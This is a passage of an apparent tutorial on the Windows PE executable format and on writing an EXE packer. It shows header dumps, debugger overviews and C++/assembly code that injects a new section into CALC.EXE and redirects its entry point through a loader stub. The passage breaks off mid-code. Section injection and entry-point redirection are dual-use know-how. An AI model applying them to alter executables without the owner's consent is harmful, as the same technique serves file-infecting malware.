FILE_HEADER
Machine
000000F4  DW 014C
000000F6  DW 0003
000000F8  DD 3B7D8410
000000FC  DD 00000000
00000100  DD 00000000
00000104  DW 00E0
00000106  DW 010F
NumberOfSections
TimeDateStamp
PointerToSymbolTable
NumberOfSymbols
SizeOfOptionalHeader
Characteristics
IMAGE_
OPTIONAL_
HEADER32
MagicNumber
Collapse
00000108  DW 010B
0000010A  DB 07
0000010B  DB 00
0000010C  DD 00012800
00000110  DD 00009C00
00000114  DD 00000000
00000118  DD 00012475
0000011C  DD 00001000
00000120  DD 00014000
00000124  DD 01000000
00000128  DD 00001000
0000012C  DD 00000200
00000130  DW 0005
00000132  DW 0001
00000134  DW 0005
00000136  DW 0001
00000138  DW 0004
0000013A  DW 0000
0000013C  DD 00000000
00000140  DD 0001F000
00000144  DD 00000400
00000148  DD 0001D7FC
0000014C  DW 0002
0000014E  DW 8000
00000150  DD 00040000
00000154  DD 00001000
00000158  DD 00100000
0000015C  DD 00001000
00000160  DD 00000000
00000164  DD 00000010




MajorLinkerVersion
MinorLinkerVersion
SizeOfCode
SizeOfInitializedData
SizeOfUninitializedData
AddressOfEntryPoint
BaseOfCode
BaseOfData
ImageBase
SectionAlignment
FileAlignment
MajorOSVersion
MinorOSVersion
MajorImageVersion
MinorImageVersion
MajorSubsystemVersion
MinorSubsystemVersion
Reserved
SizeOfImage
SizeOfHeaders
CheckSum
Subsystem
DLLCharacteristics
SizeOfStackReserve
SizeOfStackCommit
SizeOfHeapReserve
SizeOfHeapCommit
LoaderFlags
NumberOfRvaAndSizes
IMAGE_
DATA_DIRECTORY[16]
Export Table
Import Table
Resource Table
Exception Table
Certificate File
Relocation Table
Debug Data
Architecture Data
Global Ptr
TLS Table
Load Config Table
Bound Import Table
Import Address Table
Delay Import Descriptor
COM+ Runtime Header
Reserved
Sections
information
IMAGE_
SECTION_
HEADER[0]
Name[8]
000001E8  ASCII".text"
000001F0  DD 000126B0
000001F4  DD 00001000
000001F8  DD 00012800
000001FC  DD 00000400
00000200  DD 00000000
00000204  DD 00000000
00000208  DW 0000
0000020A  DW 0000
0000020C  DD 60000020
    CODE|EXECUTE|READ
VirtualSize
VirtualAddress
SizeOfRawData
PointerToRawData
PointerToRelocations
PointerToLineNumbers
NumberOfRelocations
NumberOfLineNumbers
Characteristics



IMAGE_
SECTION_
HEADER[n]
00000210  ASCII".data"; SECTION
00000218  DD 0000101C ; VirtualSize = 0x101C
0000021C  DD 00014000 ; VirtualAddress = 0x14000
00000220  DD 00000A00 ; SizeOfRawData = 0xA00
00000224  DD 00012C00 ; PointerToRawData = 0x12C00
00000228  DD 00000000 ; PointerToRelocations = 0x0
0000022C  DD 00000000 ; PointerToLineNumbers = 0x0
00000230  DW 0000     ; NumberOfRelocations = 0x0
00000232  DW 0000     ; NumberOfLineNumbers = 0x0
00000234  DD C0000040 ; Characteristics = 
                        INITIALIZED_DATA|READ|WRITE
00000238  ASCII".rsrc"; SECTION
00000240  DD 00008960 ; VirtualSize = 0x8960
00000244  DD 00016000 ; VirtualAddress = 0x16000
00000248  DD 00008A00 ; SizeOfRawData = 0x8A00
0000024C  DD 00013600 ; PointerToRawData = 0x13600
00000250  DD 00000000 ; PointerToRelocations = 0x0
00000254  DD 00000000 ; PointerToLineNumbers = 0x0
00000258  DW 0000     ; NumberOfRelocations = 0x0
0000025A  DW 0000     ; NumberOfLineNumbers = 0x0
0000025C  DD 40000040 ; Characteristics = 
                        INITIALIZED_DATA|READ
SECTION[0]
00000400  EA 22 DD 77 D7 23 DD 77  ê"Ýw×#Ýw
00000408  9A 18 DD 77 00 00 00 00  šÝw....
00000410  2E 1E C7 77 83 1D C7 77  .ÇwƒÇw
00000418  FF 1E C7 77 00 00 00 00  ÿÇw....
00000420  93 9F E7 77 D8 05 E8 77  “ŸçwØèw
00000428  FD A5 E7 77 AD A9 E9 77  ý¥çw&shy;©éw
00000430  A3 36 E7 77 03 38 E7 77  £6çw>8çw
00000438  41 E3 E6 77 60 8D E7 77  Aãæw`çw
00000440  E6 1B E6 77 2B 2A E7 77  ææw+*çw
00000448  7A 17 E6 77 79 C8 E6 77  zæwyÈæw
00000450  14 1B E7 77 C1 30 E7 77  çwÁ0çw
…



SECTION[n]
…
0001BF00  63 00 2E 00 63 00 68 00  c...c.h.
0001BF08  6D 00 0A 00 43 00 61 00  m...C.a.
0001BF10  6C 00 63 00 75 00 6C 00  l.c.u.l.
0001BF18  61 00 74 00 6F 00 72 00  a.t.o.r.
0001BF20  11 00 4E 00 6F 00 74 00  .N.o.t.
0001BF28  20 00 45 00 6E 00 6F 00   .E.n.o.
0001BF30  75 00 67 00 68 00 20 00  u.g.h. .
0001BF38  4D 00 65 00 6D 00 6F 00  M.e.m.o.
0001BF40  72 00 79 00 00 00 00 00  r.y.....
0001BF48  00 00 00 00 00 00 00 00  ........
0001BF50  00 00 00 00 00 00 00 00  ........
0001BF58  00 00 00 00 00 00 00 00  ........
0001BF60  00 00 00 00 00 00 00 00  ........
0001BF68  00 00 00 00 00 00 00 00  ........
0001BF70  00 00 00 00 00 00 00 00  ........
0001BF78  00 00 00 00 00 00 00 00  ........

2.2 The Windows NT data

As mentioned in the preceding section, e_lfanew storage in the MS-DOS data structure refers to the location of the Windows NT information. Hence, if you assume that the pMem pointer relates the start point of the memory space for a selected portable executable file, you can retrieve the MS-DOS header and also the Windows NT headers by the following lines, which you also can perceive in the PE viewer sample (pelib.cpp, PEStructure::OpenFileName()):

IMAGE_DOS_HEADER        image_dos_header;
IMAGE_NT_HEADERS        image_nt_headers;
PCHAR pMem;
…
memcpy(&image_dos_header, pMem, 
       sizeof(IMAGE_DOS_HEADER));
memcpy(&image_nt_headers,
       pMem+image_dos_header.e_lfanew, 
       sizeof(IMAGE_NT_HEADERS));

It seems to be very simple, the retrieval of the headers information. I recommend inspecting the MSDN library regarding the IMAGE_NT_HEADERS structure definition. It makes comprehensible to grasp what the image NT header maintains to execute a code inside the Windows NT OS. Now, you are conversant with the Windows NT structure, it consists of the "PE" Signature, the File Header, and the Optional Header. Do not forget to take a glimpse at their comments in the MSDN Library and besides in Table 1.

One the whole, I consider merely, on the most circumstances, the following cells of the IMAGE_NT_HEADERS structure:

FileHeader->NumberOfSections
OptionalHeader->AddressOfEntryPoint
OptionalHeader->ImageBase
OptionalHeader->SectionAlignment
OptionalHeader->FileAlignment
OptionalHeader->SizeOfImage
OptionalHeader->
  DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]->VirtualAddress
OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]->Size

You can observe clearly, the main purpose of these values, and their role when the internal virtual memory space allocated for an EXE file by the Windows OS is fully allocated, if you pay attention to their explanations in MSDN library, so I am not going to repeat the MSDN annotations here.

I should mention a brief comment regarding the PE data directories, or OptionalHeader-> DataDirectory[], as I think there are a few aspects of interest concerning them. When you come to survey the Optional header through the Windows NT information, you will find that there are 16 directories at the end of the Optional Header, where you can find the consecutive directories, including their Relative Virtual Address and Size. I just mention here, the notes from <winnt.h> to clarify these information:

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

The last one (15) was reserved for use in future; I have not yet seen any purpose to use it even in PE64.

For instance, if you desire to perceive the relative virtual address (RVA) and the size of the resource data, it is enough to retrieve them by:

DWORD dwRVA = image_nt_headers.OptionalHeader->
  DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]->VirtualAddress;
DWORD dwSize = image_nt_headers.OptionalHeader->
  DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]->Size;

To comprehend more regarding the significance of data directories, I forward you to section 3.4.3, Microsoft Portable Executable and the Common Object File Format Specification document by Microsoft, and furthermore section 6 of this document, where you discern the various types of sections and their applications. We will discuss the section's advantage subsequently.

2.3 The Section Headers and Sections

We currently observe how the portable executable files declare the location and the size of a section on a disk storage file and inside the virtual memory space allocated for the program with IMAGE_NT_HEADERS-> OptionalHeader->SizeOfImage by the Windows task manager, as well the characteristics to demonstrate the type of the section. To understand better the Section header as my previous declaration, I suggest having a short gape on the IMAGE_SECTION_HEADER structure definition in the MSDN library. For an EXE packer developer, VirtualSize, VirtualAddress, SizeOfRawData, PointerToRawData, and Characteristics cells have significant rules. While developing an EXE packer, you should be clever enough to play with them. There are somethings to be noted while you modify them; you should take care to align the VirtualSize and VirtualAddress according to OptionalHeader->SectionAlignment, as well as SizeOfRawData and PointerToRawData in line with OptionalHeader->FileAlignment. Otherwise, you will corrupt your target EXE file and it will never run. Regarding Characteristics, I pay attention mostly to establish a section by IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_INITIALIZED_DATA, I prefer my new section has ability to initialize such data during running process; such as import table; besides, I need it to be able to modify itself by the loader with my settings in the section characteristics to read- and writeable.

Moreover, you should pay attention to the section names, you can know the purpose of each section by its name. I will just forward you to section 6: Microsoft Portable Executable and the Common Object File Format Specification documents. I believe, it represents the totality of sections by their names, Table 2.

Table 2 - Section names

".text" Code Section
"CODE" Code Section of file linked by Borland Delphi or Borland Pascal
".data" Data Section
"DATA" Data Section of file linked by Borland Delphi or Borland Pascal
".rdata" Section for Constant Data
".idata" Import Table
".edata" Export Table
".tls" TLS Table
".reloc" Relocation Information
".rsrc" Resource Information

To comprehend the section headers and also the sections, you can run the sample PE viewer. By this PE viewer, you only can realize the application of the section headers in a file image, so to observe the main significance in the Virtual Memory, you should try to load a PE file by a debugger, and the next section represents the main idea of using the virtual address and –size in the virtual memory by using a debugger. The last note is about IMAGE_NT_HEADERS-> FileHeader-><CODE>NumberOfSections, that provides a number of sections in a PE file, do not forget to adjust it whenever you remove or add some sections to a PE file, I am talking about section injection!

3 Debugger, Disassembler and some Useful Tools

In this part, you will become familiar with the necessary and essential equipments to develop your PE tools.

3.1 Debuggers

The first essential prerequisite, to become a PE tools developer, is to have enough experience with bug tracer tools. Furthermore, you should know most of the assembly instructions. To me, the Intel documents are the best references. You can obtain them from the Intel site for IA-32, and on top of that IA-64; the future belongs to IA-64 CPUs, Windows XP 64-bit, and also PE64!

To trace a PE file, SoftICE by Compuware Corporation, I knew it also as named NuMega when I was at high school, is the best debugger in the world. It implements process tracing by using kernel mode method debugging without applying Windows debugging application programming interface (API) functions. In addition, I am going to introduce one perfect debugger in user mode level. It utilizes the Windows debugging API to trace a PE file and also attaches itself to an active process. These API functions have been provided by Microsoft teams, inside the Windows Kernel32 library, to trace a specific process, by using Microsoft tools, or perhaps, to make your own debugger! Some of those API functions inlude: CreateThread(), CreateProcess(), OpenProcess(), DebugActiveProcess(), GetThreadContext(), SetThreadContext(), ContinueDebugEvent(), DebugBreak(), ReadProcessMemory(), WriteProcessMemory(), SuspendThread(), and ResumeThread().

3.1.1 SoftICE

It was in 1987; Frank Grossman and Jim Moskun decided to establish a company called NuMega Technologies in Nashua, NH, in order to develop some equipments to trace and test the reliability of Microsoft Windows software programs. Now, it is a part of Compuware Corporation and its product has participated to accelerate the reliability in Windows software, and additionally in Windows driver developments. Currently, everyone knows the Compuware DriverStudio which is used to establish an environment for implementing the elaboration of a kernel driver or a system file by aiding the Windows Driver Development Kit (DDK). It bypasses the involvement of DDK to implement a portable executable file of kernel level for a Windows system software developer. For us, only one instrument of DriverStudio is important, SoftICE, this debugger can be used to trace every portable executable file, a PE file for user mode level or a PE file for kernel mode level.

Figure 1 - SoftICE Window

EAX=00000000 EBX=7FFDD000 ECX=0007FFB0 EDX=7C90EB94 ESI=FFFFFFFF
EDI=7C919738 EBP=0007FFF0 ESP=0007FFC4 EIP=010119E0 o d i s z a p c
CS=0008 DS=0023 SS=0010 ES=0023 FS=0030 GS=0000
SS:0007FFC4=87C816D4F
0023:01013000 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:01013010 01 00 00 00 20 00 00 00-0A 00 00 00 0A 00 00 00 ................
0023:01013020 20 00 00 00 00 00 00 00-53 63 69 43 61 6C 63 00 ........SciCalc.
0023:01013030 00 00 00 00 00 00 00 00-62 61 63 6B 67 72 6F 75 ........backgrou
0023:01013040 6E 64 00 00 00 00 00 00-2E 00 00 00 00 00 00 00 nd..............
0010:0007FFC4 4F 6D 81 7C 38 07 91 7C-FF FF FF FF 00 90 FD 7F Om |8 ‘| .
0010:0007FFD4 ED A6 54 80 C8 FF 07 00-E8 B4 F5 81 FF FF FF FF T .
0010:0007FFE4 F3 99 83 7C 58 6D 81 7C-00 00 00 00 00 00 00 00 Xm |........
0010:0007FFF4 00 00 00 00 E0 19 01 01-00 00 00 00 00 00 00 00 .... ....
010119E0 PUSH EBP
010119E1 MOV EBP,ESP
010119E3 PUSH -1
010119E5 PUSH 01001570
010119EA PUSH 01011D60
010119EF MOV EAX,DWORD PTR FS:[0]
010119F5 PUSH EAX
010119F6 MOV DWORD PTR FS:[0],ESP
010119FD ADD ESP,-68
01011A00 PUSH EBX
01011A01 PUSH ESI
01011A02 PUSH EDI
01011A03 MOV DWORD PTR SS:[EBP-18],ESP
01011A06 MOV DWORD PTR SS:[EBP-4],0
:_


3.1.2 OllyDbg

It was about 4 years ago, that I first saw this debugger by chance. For me, it was the best choice, I was not so wealthy to purchase SoftICE, and at that time, SoftICE only had good functions for DOS, Windows 98, and Windows 2000. I found that this debugger supported all kinds of Windows versions. Therefore, I started to learn it very fast, and now it is my favorite debugger for the Windows OS. It is a debugger that can be used to trace all kinds of portable executable files except a Common Language Infrastructure (CLI) file format in user mode level, by using the Windows debugging API. Oleh Yuschuk, the author, is one of worthiest software developers I have seen in my life. He is a Ukrainian who now lives in Germany. I should mention here that his debugger is the best choice for hacker and cracker parties around the world! It is a freeware! You can try it from OllyDbg Homepage.

Figure 2 - OllyDbg CPU Window

3.1.3 Which parts are important in a debugger interface?

I have introduced two debuggers without talking about how you can employ them, and also which parts you should pay attention more. Regarding using debuggers, I refer you to their instructions in help documents. However, I want to explain shortly the important parts of a debugger; of course, I am talking about low-level debuggers, or in other words, machine-language debuggers of the x86 CPU families.

All of low-level debuggers consist of the following subdivisions:

  1. Registers viewer.

    EAX
    ECX
    EDX
    EBX
    ESP
    EBP
    ESI
    EDI
    EIP

    o d t s z a p c

  2. Disassembler or Code viewer.

    010119E0 PUSH EBP
    010119E1 MOV EBP,ESP
    010119E3 PUSH -1
    010119E5 PUSH 01001570
    010119EA PUSH 01011D60
    010119EF MOV EAX,DWORD PTR FS:[0]
    010119F5 PUSH EAX
    010119F6 MOV DWORD PTR FS:[0],ESP
    010119FD ADD ESP,-68
    01011A00 PUSH EBX
    01011A01 PUSH ESI
    01011A02 PUSH EDI
    01011A03 MOV DWORD PTR SS:[EBP-18],ESP
    01011A06 MOV DWORD PTR SS:[EBP-4],0 

  3. Memory watcher.

    0023:01013000 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    0023:01013010 01 00 00 00 20 00 00 00-0A 00 00 00 0A 00 00 00 ................
    0023:01013020 20 00 00 00 00 00 00 00-53 63 69 43 61 6C 63 00 ........SciCalc.
    0023:01013030 00 00 00 00 00 00 00 00-62 61 63 6B 67 72 6F 75 ........backgrou
    0023:01013040 6E 64 00 00 00 00 00 00-2E 00 00 00 00 00 00 00 nd..............

  4. Stack viewer.

    0010:0007FFC4 4F 6D 81 7C 38 07 91 7C-FF FF FF FF 00 90 FD 7F Om |8 ‘| .
    0010:0007FFD4 ED A6 54 80 C8 FF 07 00-E8 B4 F5 81 FF FF FF FF T .
    0010:0007FFE4 F3 99 83 7C 58 6D 81 7C-00 00 00 00 00 00 00 00 Xm |........
    0010:0007FFF4 00 00 00 00 E0 19 01 01-00 00 00 00 00 00 00 00 .... ....

  5. Command line, command buttons, or shortcut keys to follow the debugging process.

    Command SoftICE OllyDbg
    Run F5 F9
    Step Into F11 F7
    Step Over F10 F8
    Set Break Point F8 F2

You can compare Figure 1 and Figure 2 to distinguish the difference between SoftICE and OllyDbg. When you want to trace a PE file, you should mostly consider these five subdivisions. Furthermore, every debugger comprises of some other useful parts; you should discover them by yourself.

3.2 Disassembler

We can consider OllyDbg and SoftICE as excellent disassemblers, but I also want to introduce another disassembler tool which is famous in the reverse engineering world.

3.2.1 Proview disassembler

Proview or PVDasm is an admirable disassembler by the Reverse-Engineering-Community; it is still under development and bug fixing. You can find its disassmbler source engine and employ it to create your own disassembler.

3.2.2 W32Dasm

W32DASM can disassemble both 16 and 32 bit executable file formats. In addition to its disassembling ability, you can employ it to analyze import, export and resource data directories data.

3.2.3 IDA Pro

All reverse-engineering experts know that IDA Pro can be used to investigate, not only x86 instructions, but that of various kinds of CPU types like AVR, PIC, and etc. It can illustrate the assembly source of a portable executable file by using colored graphics and tables, and is very useful for any newbie in this area. Furthermore, it has the capability to trace an executable file inside the user mode level in the same way as OllyDbg.

3.3 Some Useful Tools

A good PE tools developer is conversant with the tools which save his time, so I recommend to select some appropriate instruments to investigate the base information under a portable executable file.

3.3.1 LordPE

LordPE by y0da is still the first choice to retrieve PE file information with the possibility to modify them.

3.3.2 PEiD

PE iDentifier is valuable to identify the type of compilers, packers, and cryptors of PE files. As of now, it can detect more than 500 different signature types of PE files.

3.3.3 Resource Hacker

Resource Hacker can be employed to modify resource directory information; icon, menu, version info, string table, and etc.

3.3.4 WinHex

WinHex, it is clear what you can do with this tool.

3.3.5 CFF Explorer

Eventually, CFF Explorer by Ntoskrnl is what you wish to have as a PE Utility tool in your dream; it supports PE32/64, PE rebuild included Common Language Infrastructure (CLI) file, in other words, the .NET file, a resource modifier, and much more facilities which can not be found in others, just try and discover every unimaginable option by hand.

4 Add new section and Change OEP

We are ready to do the first step of making our project. So I have provided a library to add a new section and rebuild the portable executable file. Before starting, I like you get familiar with the headers of a PE file, by using OllyDbg. You should first open a PE file, that pops up a menu, View->Executable file, again get a popup menu Special->PE header. And you will observe a scene similar to Figure 3. Now, come to Main Menu View->Memory, try to distinguish the sections inside the Memory map window.

Figure 3

Collapse
00000000
00000002
00000004
00000006
00000008
0000000A
0000000C
0000000E
00000010
00000012
00000014
00000016
00000018
0000001A
0000001C
0000001D
0000001E
0000001F
00000020
00000021
00000022
00000023
00000024
00000025
00000026
00000027
00000028
00000029
0000002A
0000002B
0000002C
0000002D
0000002E
0000002F
00000030
00000031
00000032
00000033
00000034
00000035
00000036
00000037
00000038
00000039
0000003A
0000003B
0000003C
Collapse
 4D 5A
 9000
 0300
 0000
 0400
 0000
 FFFF
 0000
 B800
 0000
 0000
 0000
 4000
 0000
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 F0000000  
Collapse
 ASCII "MZ"
 DW 0090
 DW 0003
 DW 0000
 DW 0004
 DW 0000
 DW FFFF
 DW 0000
 DW 00B8
 DW 0000
 DW 0000
 DW 0000
 DW 0040
 DW 0000
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DB 00
 DD 000000F0 
Collapse
 DOS EXE Signature
 DOS_PartPag = 90 (144.)
 DOS_PageCnt = 3
 DOS_ReloCnt = 0
 DOS_HdrSize = 4
 DOS_MinMem = 0
 DOS_MaxMem = FFFF (65535.)
 DOS_ReloSS = 0
 DOS_ExeSP = B8
 DOS_ChkSum = 0
 DOS_ExeIP = 0
 DOS_ReloCS = 0
 DOS_TablOff = 40
 DOS_Overlay = 0
































 Offset to PE signature

I want to explain how we can plainly change the Offset of Entry Point (OEP) in our sample file, CALC.EXE of Windows XP. First, by using a PE Tool, and also using our PE Viewer, we find OEP, 0x00012475, and Image Base, 0x01000000. This value of OEP is the Relative Virtual Address, so the Image Base value is used to convert it to the Virtual Address.

Virtual_Address = Image_Base + Relative_Virtual_Address

DWORD OEP_RVA = image_nt_headers->OptionalHeader.AddressOfEntryPoint ; 
// OEP_RVA = 0x00012475
DWORD OEP_VA = image_nt_headers->OptionalHeader.ImageBase + OEP_RVA ; 
// OEP_VA = 0x01000000 + 0x00012475 = 0x01012475

PE Maker - Step 1

CALC.EXE - test file

DynLoader(), in loader.cpp, is reserved for the data of the new section, in other words, the Loader.

DynLoader Step 1

__stdcall void DynLoader()
{
_asm
{
//----------------------------------
    DWORD_TYPE(DYN_LOADER_START_MAGIC)
//----------------------------------
    MOV EAX,01012475h // << Original OEP
    JMP EAX
//----------------------------------
    DWORD_TYPE(DYN_LOADER_END_MAGIC)
//----------------------------------
}
}

Unfortunately, this source can only be applied for the sample test file. We should complete it by saving the value of the original OEP in the new section, and use it to reach the real OEP. I have accomplished it in Step 2 (Section 5).

4.1 Retrieve and Rebuild PE file

I have made a simple class library to recover PE information and to use it in a new PE file.

CPELibrary Class Step 1

Collapse
//----------------------------------------------------------------
class CPELibrary 
{
private:
    //-----------------------------------------
    PCHAR                   pMem;
    DWORD                   dwFileSize;
    //-----------------------------------------
protected:
    //-----------------------------------------
    PIMAGE_DOS_HEADER       image_dos_header;
    PCHAR                   pDosStub;
    DWORD                   dwDosStubSize, dwDosStubOffset;
    PIMAGE_NT_HEADERS       image_nt_headers;
    PIMAGE_SECTION_HEADER   image_section_header[MAX_SECTION_NUM];
    PCHAR                   image_section[MAX_SECTION_NUM];
    //-----------------------------------------
protected:
    //-----------------------------------------
    DWORD PEAlign(DWORD dwTarNum,DWORD dwAlignTo);
    void AlignmentSections();
    //-----------------------------------------
    DWORD Offset2RVA(DWORD dwRO);
    DWORD RVA2Offset(DWORD dwRVA);
    //-----------------------------------------
    PIMAGE_SECTION_HEADER ImageRVA2Section(DWORD dwRVA);
    PIMAGE_SECTION_HEADER ImageOffset2Section(DWORD dwRO);
    //-----------------------------------------
    DWORD ImageOffset2SectionNum(DWORD dwRVA);
    PIMAGE_SECTION_HEADER AddNewSection(char* szName,DWORD dwSize);
    //-----------------------------------------
public:
    //-----------------------------------------
    CPELibrary();
    ~CPELibrary();
    //-----------------------------------------
    void OpenFile(char* FileName);
    void SaveFile(char* FileName);    
    //-----------------------------------------
};

By Table 1, the usage of image_dos_header, pDosStub, image_nt_headers, image_section_header [MAX_SECTION_NUM], and image_section[MAX_SECTION_NUM] is clear. We use OpenFile() and SaveFile() to retrieve and rebuild a PE file. Furthermore, AddNewSection() is employed to create the new section, the important step.

4.2 Create Data for new Section

In pecrypt.cpp, I have represented another class, CPECryptor, to comprise the data of the new section. Nevertheless, the data of the new section is created by DynLoader() in loader.cpp, DynLoader Step 1. We use the CPECryptor class to enter this data in to the new section, and also some other stuff.

CPECryptor Class Step 1

//----------------------------------------------------------------
class CPECryptor: public CPELibrary
{
private:
    //----------------------------------------
    PCHAR pNewSection;
    //----------------------------------------
    DWORD GetFunctionVA(void* FuncName);
    void* ReturnToBytePtr(void* FuncName, DWORD findstr);
    //----------------------------------------
protected:
    //----------------------------------------
public:    
    //----------------------------------------
    void CryptFile(int(__cdecl *callback) (unsigned int, unsigned int));
    //----------------------------------------
};
//----------------------------------------------------------------

4.3 Some notes regarding creating a new PE file

  • Align the VirtualAddress and the VirtualSize of each section by SectionAlignment:
    image_section_header[i]->VirtualAddress=
        PEAlign(image_section_header[i]->VirtualAddress,
        image_nt_headers->OptionalHeader.SectionAlignment);
    
    image_section_header[i]->Misc.VirtualSize=
        PEAlign(image_section_header[i]->Misc.VirtualSize,
        image_nt_headers->OptionalHeader.SectionAlignment);
  • Align the PointerToRawData and the SizeOfRawData of each section by FileAlignment:
    image_section_header[i]->PointerToRawData =
        PEAlign(image_section_header[i]->PointerToRawData,
                image_nt_headers->OptionalHeader.FileAlignment);
    
    image_section_header[i]->SizeOfRawData =
        PEAlign(image_section_header[i]->SizeOfRawData,
                image_nt_headers->OptionalHeader.FileAlignment);
  • Correct the SizeofImage by the virtual size and the virtual address of the last section:
    image_nt_headers->OptionalHeader.SizeOfImage = 
              image_section_header[LastSection]->VirtualAddress +
              image_section_header[LastSection]->Misc.VirtualSize;
  • Set the Bound Import Directory header to zero, as this directory is not very important to execute a PE file:
    image_nt_headers->
      OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].
      VirtualAddress = 0;
    image_nt_headers->
      OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;

4.4 Some notes regarding linking this VC Project

  • Set Linker->General->Enable Incremental Linking to No (/INCREMENTAL:NO).

    You can comprehend the difference between incremental link and no-incremental link by looking at the following picture:

    To acquire the virtual address of DynLoader(), we obtain the virtual address of JMP pemaker.DynLoader in the incremental link, but by no-incremental link, the real virtual address is gained by the following code:

    DWORD dwVA= (DWORD) DynLoader;

    This setting is more critical in the incremental link when you try to find the beginning and ending of the Loader, DynLoader(), by CPECryptor::ReturnToBytePtr():

    void* CPECryptor::ReturnToBytePtr(void* FuncName, DWORD findstr)
    {
        void* tmpd;
        __asm
       {
            mov eax, FuncName
            jmp df
    hjg:    inc eax
    df:     mov ebx, [eax]
            cmp ebx, findstr
            jnz hjg
            mov tmpd, eax
        }
        return tmpd;
    }

5 Store Important Data and Reach Original OEP

Right now, we save the Original OEP and also the Image Base in order to reach to the virtual address of OEP. I have reserved a free space at the end of DynLoader() to store them, DynLoader Step 2.

PE Maker - Step 2

DynLoader Step 2

__stdcall void DynLoader()
{
_asm
{
//----------------------------------
    DWORD_TYPE(DYN_LOADER_START_MAGIC)
//----------------------------------
Main_0:
    PUSHAD
    // get base ebp
    CALL Main_1
Main_1:    
    POP EBP
    SUB EBP,OFFSET Main_1
    MOV EAX,DWORD PTR [EBP+_RO_dwImageBase]
    ADD EAX,DWORD PTR [EBP+_RO_dwOrgEntryPoint]
    PUSH EAX
    RETN // >> JMP to Original OEP
//----------------------------------
    DWORD_TYPE(DYN_LOADER_START_DATA1)
//----------------------------------
_RO_dwImageBase:                DWORD_TYPE(0xCCCCCCCC)
_RO_dwOrgEntryPoint:            DWORD_TYPE(0xCCCCCCCC)
//----------------------------------
    DWORD_TYPE(DYN_LOADER_END_MAGIC)
//----------------------------------
}
}

The new function, CPECryptor::CopyData1(), will implement the copy of the Image Base value and the Offset of Entry Point value into 8 bytes of free space in the loader.

5.1 Restore the first Registers Context

It is important to recover the Original Context of the thread. We have not yet done it in the DynLoader Step 2 source code. We can modify the source of DynLoader() to repossess the first Context.

Collapse
__stdcall void DynLoader()
{
_asm
{
//----------------------------------
    DWORD_TYPE(DYN_LOADER_START_MAGIC)
//----------------------------------
Main_0:
    PUSHAD// Save the registers context in stack
    CALL Main_1
Main_1:    
    POP EBP// Get Base EBP
    SUB EBP,OFFSET Main_1
    MOV EAX,DWORD PTR [EBP+_RO_dwImageBase]
    ADD EAX,DWORD PTR [EBP+_RO_dwOrgEntryPoint]
    MOV DWORD PTR [ESP+1Ch],EAX // pStack.Eax <- EAX
    POPAD // Restore the first registers context from stack
    PUSH EAX
    XOR  EAX, EAX
    RETN // >> JMP to Original OEP
//----------------------------------
    DWORD_TYPE(DYN_LOADER_START_DATA1)
//----------------------------------
_RO_dwImageBase:                DWORD_TYPE(0xCCCCCCCC)
_RO_dwOrgEntryPoint:            DWORD_TYPE(0xCCCCCCCC)
//----------------------------------
    DWORD_TYPE(DYN_LOADER_END_MAGIC)
//----------------------------------
}
}

5.2 Restore the Original Stack

We can also recover the original stack by setting the value of the beginning stack + 0x34 to the Original OEP, but it is not very important. Nevertheless, in the following code, I have accomplished the loader code by a simple trick to reach OEP in addition to redecorating the stack. You can observe the implementation by tracing using OllyDbg or SoftICE.

Collapse
__stdcall void DynLoader()
{
_asm
{
//----------------------------------
    DWORD_TYPE(DYN_LOADER_START_MAGIC)
//----------------------------------
Main_0:
    PUSHAD // Save the registers context in stack
    CALL Main_1
Main_1:    
    POP EBP
    SUB EBP,OFFSET Main_1
    MOV EAX,DWORD PTR [EBP+_RO_dwImageBase]
    ADD EAX,DWORD PTR [EBP+_RO_dwOrgEntryPoint]
    MOV DWORD PTR [ESP+54h],EAX // pStack.Eip <- EAX
    POPAD // Restore the first registers context from stack
    CALL _OEP_Jump
    DWORD_TYPE(0xCCCCCCCC)
_OEP_Jump:
    PUSH EBP
    MOV EBP,ESP
    MOV EAX,DWORD PTR [ESP+3Ch] // EAX <- pStack.Eip
    MOV DWORD PTR [ESP+4h],EAX  // _OEP_Jump RETURN pointer <- EAX
    XOR EAX,EAX
    LEAVE
    RETN
//----------------------------------
